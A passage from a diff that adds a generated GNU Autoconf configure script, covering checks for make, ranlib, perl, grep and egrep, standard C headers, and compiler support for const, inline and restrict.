"make[1]: Entering...", which would confuse us. +case `${MAKE-make} -f conftest.make 2>/dev/null` in + *@@@%%%=?*=@@@%%%*) + eval ac_cv_prog_make_${ac_make}_set=yes;; + *) + eval ac_cv_prog_make_${ac_make}_set=no;; +esac +rm -f conftest.make +fi +if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + SET_MAKE= +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + SET_MAKE="MAKE=${MAKE-make}" +fi + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. +set dummy ${ac_tool_prefix}ranlib; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +RANLIB=$ac_cv_prog_RANLIB +if test -n "$RANLIB"; then + { echo "$as_me:$LINENO: result: $RANLIB" >&5 +echo "${ECHO_T}$RANLIB" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_RANLIB"; then + ac_ct_RANLIB=$RANLIB + # Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_RANLIB"; then + ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_RANLIB="ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB +if test -n "$ac_ct_RANLIB"; then + { echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 +echo "${ECHO_T}$ac_ct_RANLIB" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_RANLIB" = x; then + RANLIB=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + RANLIB=$ac_ct_RANLIB + fi +else + RANLIB="$ac_cv_prog_RANLIB" +fi + +for ac_prog in perl perl5 +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_path_PERL+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case $PERL in + [\\/]* | ?:[\\/]*) + ac_cv_path_PERL="$PERL" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_path_PERL="$as_dir/$ac_word$ac_exec_ext" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + + ;; +esac +fi +PERL=$ac_cv_path_PERL +if test -n "$PERL"; then + { echo "$as_me:$LINENO: result: $PERL" >&5 +echo "${ECHO_T}$PERL" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$PERL" && break +done + + +# Checks for header files. + + +{ echo "$as_me:$LINENO: checking for grep that handles long lines and -e" >&5 +echo $ECHO_N "checking for grep that handles long lines and -e... $ECHO_C" >&6; } +if test "${ac_cv_path_GREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Extract the first word of "grep ggrep" to use in msg output +if test -z "$GREP"; then +set dummy grep ggrep; ac_prog_name=$2 +if test "${ac_cv_path_GREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_path_GREP_found=false +# Loop through the user's path and test for each of PROGNAME-LIST +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in grep ggrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" + { test -f "$ac_path_GREP" && $as_test_x "$ac_path_GREP"; } || continue + # Check for GNU ac_path_GREP and select it if it is found. + # Check for GNU $ac_path_GREP +case `"$ac_path_GREP" --version 2>&1` in +*GNU*) + ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; +*) + ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + echo 'GREP' >> "conftest.nl" + "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + ac_count=`expr $ac_count + 1` + if test $ac_count -gt ${ac_path_GREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_GREP="$ac_path_GREP" + ac_path_GREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + + $ac_path_GREP_found && break 3 + done +done + +done +IFS=$as_save_IFS + + +fi + +GREP="$ac_cv_path_GREP" +if test -z "$GREP"; then + { { echo "$as_me:$LINENO: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&5 +echo "$as_me: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&2;} + { (exit 1); exit 1; }; } +fi + +else + ac_cv_path_GREP=$GREP +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_path_GREP" >&5 +echo "${ECHO_T}$ac_cv_path_GREP" >&6; } + GREP="$ac_cv_path_GREP" + + +{ echo "$as_me:$LINENO: checking for egrep" >&5 +echo $ECHO_N "checking for egrep... $ECHO_C" >&6; } +if test "${ac_cv_path_EGREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 + then ac_cv_path_EGREP="$GREP -E" + else + # Extract the first word of "egrep" to use in msg output +if test -z "$EGREP"; then +set dummy egrep; ac_prog_name=$2 +if test "${ac_cv_path_EGREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_path_EGREP_found=false +# Loop through the user's path and test for each of PROGNAME-LIST +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in egrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" + { test -f "$ac_path_EGREP" && $as_test_x "$ac_path_EGREP"; } || continue + # Check for GNU ac_path_EGREP and select it if it is found. + # Check for GNU $ac_path_EGREP +case `"$ac_path_EGREP" --version 2>&1` in +*GNU*) + ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; +*) + ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + echo 'EGREP' >> "conftest.nl" + "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + ac_count=`expr $ac_count + 1` + if test $ac_count -gt ${ac_path_EGREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_EGREP="$ac_path_EGREP" + ac_path_EGREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + + $ac_path_EGREP_found && break 3 + done +done + +done +IFS=$as_save_IFS + + +fi + +EGREP="$ac_cv_path_EGREP" +if test -z "$EGREP"; then + { { echo "$as_me:$LINENO: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&5 +echo "$as_me: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&2;} + { (exit 1); exit 1; }; } +fi + +else + ac_cv_path_EGREP=$EGREP +fi + + + fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_path_EGREP" >&5 +echo "${ECHO_T}$ac_cv_path_EGREP" >&6; } + EGREP="$ac_cv_path_EGREP" + + +{ echo "$as_me:$LINENO: checking for ANSI C header files" >&5 +echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6; } +if test "${ac_cv_header_stdc+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <stdlib.h> +#include <stdarg.h> +#include <string.h> +#include <float.h> + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_header_stdc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_header_stdc=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +if test $ac_cv_header_stdc = yes; then + # SunOS 4.x string.h does not declare mem*, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <string.h> + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "memchr" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <stdlib.h> + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "free" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. + if test "$cross_compiling" = yes; then + : +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ctype.h> +#include <stdlib.h> +#if ((' ' & 0x0FF) == 0x020) +# define ISLOWER(c) ('a' <= (c) && (c) <= 'z') +# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) +#else +# define ISLOWER(c) \ + (('a' <= (c) && (c) <= 'i') \ + || ('j' <= (c) && (c) <= 'r') \ + || ('s' <= (c) && (c) <= 'z')) +# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) +#endif + +#define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) +int +main () +{ + int i; + for (i = 0; i < 256; i++) + if (XOR (islower (i), ISLOWER (i)) + || toupper (i) != TOUPPER (i)) + return 2; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_header_stdc=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 +echo "${ECHO_T}$ac_cv_header_stdc" >&6; } +if test $ac_cv_header_stdc = yes; then + +cat >>confdefs.h <<\_ACEOF +#define STDC_HEADERS 1 +_ACEOF + +fi + +# On IRIX 5.3, sys/types and inttypes.h are conflicting. + + + + + + + + + +for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ + inttypes.h stdint.h unistd.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default + +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_Header=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + + + + + +for ac_header in fcntl.h limits.h stdlib.h string.h unistd.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + +# Checks for typedefs, structures, and compiler characteristics. +{ echo "$as_me:$LINENO: checking for an ANSI C-conforming const" >&5 +echo $ECHO_N "checking for an ANSI C-conforming const... $ECHO_C" >&6; } +if test "${ac_cv_c_const+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +/* FIXME: Include the comments suggested by Paul. */ +#ifndef __cplusplus + /* Ultrix mips cc rejects this. */ + typedef int charset[2]; + const charset cs; + /* SunOS 4.1.1 cc rejects this. */ + char const *const *pcpcc; + char **ppc; + /* NEC SVR4.0.2 mips cc rejects this. */ + struct point {int x, y;}; + static struct point const zero = {0,0}; + /* AIX XL C 1.02.0.0 rejects this. + It does not let you subtract one const X* pointer from another in + an arm of an if-expression whose if-part is not a constant + expression */ + const char *g = "string"; + pcpcc = &g + (g ? g-g : 0); + /* HPUX 7.0 cc rejects these. */ + ++pcpcc; + ppc = (char**) pcpcc; + pcpcc = (char const *const *) ppc; + { /* SCO 3.2v4 cc rejects this. */ + char *t; + char const *s = 0 ? (char *) 0 : (char const *) 0; + + *t++ = 0; + if (s) return 0; + } + { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */ + int x[] = {25, 17}; + const int *foo = &x[0]; + ++foo; + } + { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */ + typedef const int *iptr; + iptr p = 0; + ++p; + } + { /* AIX XL C 1.02.0.0 rejects this saying + "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */ + struct s { int j; const int *ap[3]; }; + struct s *b; b->j = 5; + } + { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */ + const int foo = 10; + if (!foo) return 0; + } + return !cs[0] && !zero.x; +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_c_const=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_c_const=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_const" >&5 +echo "${ECHO_T}$ac_cv_c_const" >&6; } +if test $ac_cv_c_const = no; then + +cat >>confdefs.h <<\_ACEOF +#define const +_ACEOF + +fi + +{ echo "$as_me:$LINENO: checking for inline" >&5 +echo $ECHO_N "checking for inline... $ECHO_C" >&6; } +if test "${ac_cv_c_inline+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_c_inline=no +for ac_kw in inline __inline__ __inline; do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifndef __cplusplus +typedef int foo_t; +static $ac_kw foo_t static_foo () {return 0; } +$ac_kw foo_t foo () {return 0; } +#endif + +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_c_inline=$ac_kw +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + test "$ac_cv_c_inline" != no && break +done + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_inline" >&5 +echo "${ECHO_T}$ac_cv_c_inline" >&6; } + + +case $ac_cv_c_inline in + inline | yes) ;; + *) + case $ac_cv_c_inline in + no) ac_val=;; + *) ac_val=$ac_cv_c_inline;; + esac + cat >>confdefs.h <<_ACEOF +#ifndef __cplusplus +#define inline $ac_val +#endif +_ACEOF + ;; +esac + +{ echo "$as_me:$LINENO: checking for C/C++ restrict keyword" >&5 +echo $ECHO_N "checking for C/C++ restrict keyword... $ECHO_C" >&6; } +if test "${ac_cv_c_restrict+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_c_restrict=no + # Try the official restrict keyword, then gcc's __restrict, and + # the less common variants. + for ac_kw in restrict __restrict __restrict__ _Restrict; do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +typedef int * int_ptr; + int foo (int_ptr $ac_kw ip) { + return ip[0]; + } +int +main () +{ +int s[1]; + int * $ac_kw t = s; + t[0] = 0; + return foo(t) + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_c_restrict=$ac_kw +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + test "$ac_cv_c_restrict" != no && break + done + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_restrict" >&5 +echo "${ECHO_T}$ac_cv_c_restrict" >&6; } + case $ac_cv_c_restrict in + restrict) ;; + no) +cat >>confdefs.h <<\_ACEOF +#define restrict +_ACEOF + ;; + *) cat >>confdefs.h <<_ACEOF +#define restrict $ac_cv_c_restrict +_ACEOF + ;; + esac + +{ echo "$as_me:$LINENO: checking for size_t" >&5 +echo $ECHO_N "checking for size_t... $ECHO_C" >&6; } 